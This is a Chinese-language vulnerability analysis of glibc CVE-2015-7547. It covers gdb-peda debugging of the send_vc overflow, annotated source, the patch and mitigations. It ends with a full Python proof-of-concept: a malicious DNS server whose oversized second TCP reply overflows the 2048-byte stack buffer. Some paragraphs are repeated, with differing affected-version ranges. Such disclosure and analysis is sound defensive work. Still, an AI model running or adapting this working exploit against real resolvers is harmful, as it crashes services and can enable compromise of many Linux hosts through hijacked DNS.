gdb-peda$ x/10x 0xbfffd65c 0xbfffd65c: 0xbfffe340 0xbfffd764 0xbfffd770 0x0000006e 0xbfffd66c: 0x000009e8 0x56cd507c 0x1d20b5f8 0x00000003 0xbfffd67c: 0x00010001 0xbfffd740

还是0xbfffe340,那么这个地址很有可能是地址指针的指针,也就是类似于**ansp这样的形式!接下来这个值是如何传递的呢,我们可以分析一下。请注意我单行的注释。

``` static int send_vc(res_state statp, const u_char buf, int buflen, const u_char buf2, int buflen2, u_char ansp, int anssizp,//ansp是2048缓冲区对应地址 int terrno, int ns, u_char anscp, u_char ansp2, int anssizp2, int resplen2, int ansp2_malloced) { const HEADER hp = (HEADER ) buf; const HEADER hp2 = (HEADER ) buf2; u_char ans = ansp;//对应地址的传递 int orig_anssizp = anssizp; // XXX REMOVE // int anssiz = anssizp; HEADER anhp = (HEADER ) ans; …… …… if (statp->_vcsock < 0 || (statp->_flags & RES_F_VC) == 0) { if (statp->_vcsock >= 0) __res_iclose(statp, false); //这里建立socket连接 statp->_vcsock = socket(nsap->sin6_family, SOCK_STREAM, 0); if (statp->_vcsock < 0) { terrno = errno; Perror(statp, stderr, "socket(vc)", errno); return (-1); } __set_errno (0); //connect操作,客户端会提示connect 127.0.0.1 if (connect(statp->_vcsock, (struct sockaddr )nsap, nsap->sin6_family == AF_INET ? sizeof (struct sockaddr_in) : sizeof (struct sockaddr_in6)) < 0) { terrno = errno; Aerror(statp, stderr, "connect/vc", errno, (struct sockaddr *) nsap); __res_iclose(statp, false); return (0); } statp->_flags |= RES_F_VC; }

/*发送部分,无关紧要
 * Send length & message
 */

…… /接收部分 * Receive length & response / int recvresp1 = 0; int recvresp2 = buf2 == NULL; uint16_t rlen16; read_len: cp = (u_char )&rlen16; len = sizeof(rlen16); while ((n = TEMP_FAILURE_RETRY (read(statp->_vcsock, cp, (int)len))) > 0) { cp += n; if ((len -= n) <= 0) break; } if (n <= 0) { terrno = errno; Perror(statp, stderr, "read failed", errno); __res_iclose(statp, false); / * A long running process might get its TCP * connection reset if the remote server was * restarted. Requery the server instead of * trying a new one. When there is only one * server, this means that a query might work * instead of failing. We only allow one reset * per query to prevent looping. / if (*terrno == ECONNRESET && !connreset) { connreset = 1; goto same_ns; } return (0); } int rlen = ntohs (rlen16);

int *thisanssizp;
u_char **thisansp;
int *thisresplenp;
if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) {

……//第一次收到,无关紧要,第二次收到将进入下面的else部分 } else { if (anssizp != MAXPACKET) { …… } else { / The first reply did not fit into the user-provided buffer. Maybe the second answer will. / anssizp2 = orig_anssizp; ansp2 = ansp; }

    thisanssizp = anssizp2;
    thisansp = ansp2;
    //此时ansp2会赋值给thisansp,而此时thisansp的值是ansp
    thisresplenp = resplen2;
}

…… //此时cp的地址是bfffe340,也就是2048字节缓冲区 cp = thisansp; 接着read参数会读取这个接收到的参数,第二次接收到时,是长度为超长的字符串,而此时,没有对这个字符串长度进行任何判断! while (len != 0 && (n = read(statp->_vcsock, (char )cp, (int)len)) > 0){ cp += n; len -= n; } ```

看到这里,我们基本可以分析出来为什么PoC要发送两次,而在第二次中,加上了2300个'B',也就是说在第二次接收时,2048缓冲区对应的变量会赋值给即将接收字符串的缓冲区,而此时,没有对这个缓冲区要接收内容的长度进行处理,从而导致了超长串覆盖,函数返回后,某个地址被覆盖导致dns请求崩溃。

接下来我们可以看一下read前后,缓冲区的变化。

gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x8fe EBX: 0xb7e01000 --&gt; 0x14ed4 ECX: 0xbfffd65c --&gt; 0xbfffe340 --&gt; 0x0 EDX: 0x10000 ESI: 0xbfffe340 --&gt; 0x0 EDI: 0xbfffeb70 --&gt; 0xbfffe340 --&gt; 0x0 EBP: 0xb7fd6340 --&gt; 0x5 ESP: 0xbfffd2f0 --&gt; 0xb7fd8900 --&gt; 0xb7e36000 --&gt; 0x464c457f EIP: 0xb7df2eba (&lt;send_vc+1098&gt;: mov edi,DWORD PTR [edi]) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7df2eab &lt;send_vc+1083&gt;: mov WORD PTR [esp+0x5e],ax 0xb7df2eb0 &lt;send_vc+1088&gt;: cmp ax,0xb 0xb7df2eb4 &lt;send_vc+1092&gt;: jbe 0xb7df2fbd &lt;send_vc+1357&gt; =&gt; 0xb7df2eba &lt;send_vc+1098&gt;: mov edi,DWORD PTR [edi] 0xb7df2ebc &lt;send_vc+1100&gt;: jmp 0xb7df2ed6 &lt;send_vc+1126&gt; 0xb7df2ebe &lt;send_vc+1102&gt;: xchg ax,ax 0xb7df2ec0 &lt;send_vc+1104&gt;: movzx edx,WORD PTR [esp+0x5e] 0xb7df2ec5 &lt;send_vc+1109&gt;: add edi,eax [------------------------------------stack-------------------------------------] 0000| 0xbfffd2f0 --&gt; 0xb7fd8900 --&gt; 0xb7e36000 --&gt; 0x464c457f 0004| 0xbfffd2f4 --&gt; 0xbfffeb74 --&gt; 0x10000 0008| 0xbfffd2f8 --&gt; 0xbfffeb6c --&gt; 0x804c748 --&gt; 0x80818bf5 0012| 0xbfffd2fc --&gt; 0xbfffd728 --&gt; 0x10000 0016| 0xbfffd300 --&gt; 0xbfffeb70 --&gt; 0xbfffe340 --&gt; 0x0 0020| 0xbfffd304 --&gt; 0x0 0024| 0xbfffd308 --&gt; 0xbfffeb74 --&gt; 0x10000 0028| 0xbfffd30c --&gt; 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 883 in res_send.c gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x8fe EBX: 0xb7e01000 --&gt; 0x14ed4 ECX: 0xbfffe340 --&gt; 0x4242bb5e EDX: 0x8fe ESI: 0xbfffe340 --&gt; 0x4242bb5e EDI: 0xbfffe340 --&gt; 0x4242bb5e EBP: 0xb7fd6340 --&gt; 0x5 ESP: 0xbfffd2f0 --&gt; 0xb7fd8900 --&gt; 0xb7e36000 --&gt; 0x464c457f EIP: 0xb7df2ec0 (&lt;send_vc+1104&gt;: movzx edx,WORD PTR [esp+0x5e]) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7df2eba &lt;send_vc+1098&gt;: mov edi,DWORD PTR [edi] 0xb7df2ebc &lt;send_vc+1100&gt;: jmp 0xb7df2ed6 &lt;send_vc+1126&gt; 0xb7df2ebe &lt;send_vc+1102&gt;: xchg ax,ax =&gt; 0xb7df2ec0 &lt;send_vc+1104&gt;: movzx edx,WORD PTR [esp+0x5e] 0xb7df2ec5 &lt;send_vc+1109&gt;: add edi,eax 0xb7df2ec7 &lt;send_vc+1111&gt;: sub edx,eax 0xb7df2ec9 &lt;send_vc+1113&gt;: movzx eax,dx 0xb7df2ecc &lt;send_vc+1116&gt;: test ax,ax [------------------------------------stack-------------------------------------] 0000| 0xbfffd2f0 --&gt; 0xb7fd8900 --&gt; 0xb7e36000 --&gt; 0x464c457f 0004| 0xbfffd2f4 --&gt; 0xbfffeb74 ('B' &lt;repeats 200 times&gt;...) 0008| 0xbfffd2f8 --&gt; 0xbfffeb6c ('B' &lt;repeats 200 times&gt;...) 0012| 0xbfffd2fc --&gt; 0xbfffd728 --&gt; 0x10000 0016| 0xbfffd300 --&gt; 0xbfffeb70 ('B' &lt;repeats 200 times&gt;...) 0020| 0xbfffd304 --&gt; 0x0 0024| 0xbfffd308 --&gt; 0xbfffeb74 ('B' &lt;repeats 200 times&gt;...) 0028| 0xbfffd30c --&gt; 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 886 in res_send.c

最后我们可以来看一下补丁后的对比

*thisresplenp = rlen; /* Is the answer buffer too small? */ if (*thisanssizp &lt; rlen) { /* If the current buffer is not the the static user-supplied buffer then we can reallocate it. */ if (thisansp != NULL && thisansp != ansp) { /* Always allocate MAXPACKET, callers expect this specific size. */ u_char *newp = malloc (MAXPACKET); if (newp == NULL) { *terrno = ENOMEM; __res_iclose(statp, false); return (0); } *thisanssizp = MAXPACKET; *thisansp = newp; if (thisansp == ansp2) *ansp2_malloced = 1;

可以看到,在官方修复的2.23版本说明中,这里将不再采用静态缓冲区2048,而是会根据用户申请缓冲区的大小来重新分配缓冲区。

5. 漏洞检测

由于glibc 2.9 是在2008年发行的,所以大量Linux 系统都会受到该漏洞影响。若一旦绕过内存防护技术,则该漏洞可以成为一大杀器。被劫持的DNS server进行中间人攻击,可直接批量获取大量主机权限。

利用ldd 命令查看C 库函数版本如下:

> 有趣的是,早在去年的7月份,就有研究人员公布了有关这一漏洞的信息,但当时 此漏洞并没有得到重视。

根据目前的调查情况我们认为此漏洞的级别该视为高危漏洞,Glibc应用于众多Linux发行版本中,所以此类漏洞影响范围十分广泛。该漏洞影响Glibc 2.9以后的所有版本。

6. 漏洞修复

建议广大用户尽快给操作系统打补丁,该漏洞存在于resolv/res_send.c文件中,当getaddrinfo()函数被调用时会触发该漏洞。技术人员可以限制TCP DNS响应包字节的大小,并丢弃超过512字节的UDP DNS数据包来缓解该问题。

有趣的是,早在去年的7月份,就有研究人员公布了有关这一漏洞的信息,但当时 此漏洞并没有得到重视。根据目前的调查情况我们认为此漏洞的级别该视为高危漏洞,glibc应用于众多Linux发行版本中,所以此类漏洞影响范围十分广泛。该漏洞影响glibc 2.9到2.22的所有版本。

7. 相关链接

  1. CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow

  2. CVE-2015-7547 补丁

  3. 紧急!Linux 底层函数库“glibc”再现重大安全漏洞!多个 Linux 发行版受影响

  4. Linux Glibc 函数库漏洞分析(CVE-2015-7547)

                                        
                                            
                                                #!/usr/bin/python
#
# Copyright 2016 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors: 
#   Fermin J. Serna &lt;fjserna@google.com&gt;
#   Gynvael Coldwind &lt;gynvael@google.com&gt;
#   Thomas Garnier &lt;thgarnie@google.com&gt;

import socket
import time
import struct
import threading

IP = '127.0.0.1' # Insert your ip for bind() here...
ANSWERS1 = 184

terminate = False
last_reply = None
reply_now = threading.Event()


def dw(x):
  return struct.pack('&gt;H', x)

def dd(x):
  return struct.pack('&gt;I', x)

def dl(x):
  return struct.pack('&lt;Q', x)

def db(x):
  return chr(x)

def udp_thread():
  global terminate

  # Handle UDP requests
  sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  sock_udp.bind((IP, 53))

  reply_counter = 0
  counter = -1

  answers = []

  while not terminate:
    data, addr = sock_udp.recvfrom(1024)
    print '[UDP] Total Data len recv ' + str(len(data))
    id_udp = struct.unpack('&gt;H', data[0:2])[0]
    query_udp = data[12:]

    # Send truncated flag... so it retries over TCP
    data = dw(id_udp)                    # id
    data += dw(0x8380)                   # flags with truncated set
    data += dw(1)                        # questions
    data += dw(0)                        # answers
    data += dw(0)                        # authoritative
    data += dw(0)                        # additional
    data += query_udp                    # question
    data += '\x00' * 2500                # Need a long DNS response to force malloc 

    answers.append((data, addr))

    if len(answers) != 2:
      continue

    counter += 1

    if counter % 4 == 2:
      answers = answers[::-1]

    time.sleep(0.01)
    sock_udp.sendto(*answers.pop(0))
    reply_now.wait()
    sock_udp.sendto(*answers.pop(0))

  sock_udp.close()


def tcp_thread():
  global terminate
  counter = -1

  #Open TCP socket
  sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  sock_tcp.bind((IP, 53))
  sock_tcp.listen(10)

  while not terminate:
    conn, addr = sock_tcp.accept()
    counter += 1
    print 'Connected with ' + addr[0] + ':' + str(addr[1])

    # Read entire packet
    data = conn.recv(1024)
    print '[TCP] Total Data len recv ' + str(len(data))

    reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
    print '[TCP] Request1 len recv ' + str(reqlen1)
    data1 = data[2:2+reqlen1]
    id1 = struct.unpack('&gt;H', data1[0:2])[0]
    query1 = data[12:]

    # Do we have an extra request?
    data2 = None
    if len(data) &gt; 2+reqlen1:
      reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
      print '[TCP] Request2 len recv ' + str(reqlen2)
      data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
      id2 = struct.unpack('&gt;H', data2[0:2])[0]
      query2 = data2[12:]

    # Reply them on different packets
    data = ''
    data += dw(id1)                      # id
    data += dw(0x8180)                   # flags
    data += dw(1)                        # questions
    data += dw(ANSWERS1)                 # answers
    data += dw(0)                        # authoritative
    data += dw(0)                        # additional
    data += query1                       # question

    for i in range(ANSWERS1):
      answer = dw(0xc00c)  # name compressed
      answer += dw(1)      # type A
      answer += dw(1)      # class
      answer += dd(13)     # ttl
      answer += dw(4)      # data length
      answer += 'D' * 4    # data

      data += answer

    data1_reply = dw(len(data)) + data

    if data2:
      data = ''
      data += dw(id2)
      data += 'B' * (2300)
      data2_reply = dw(len(data)) + data
    else:
      data2_reply = None

    reply_now.set()
    time.sleep(0.01)
    conn.sendall(data1_reply)
    time.sleep(0.01)
    if data2:
      conn.sendall(data2_reply)

    reply_now.clear()

  sock_tcp.shutdown(socket.SHUT_RDWR)
  sock_tcp.close()


if __name__ == "__main__":

 t = threading.Thread(target=udp_thread)
 t.daemon = True
 t.start()
 tcp_thread()
 terminate = True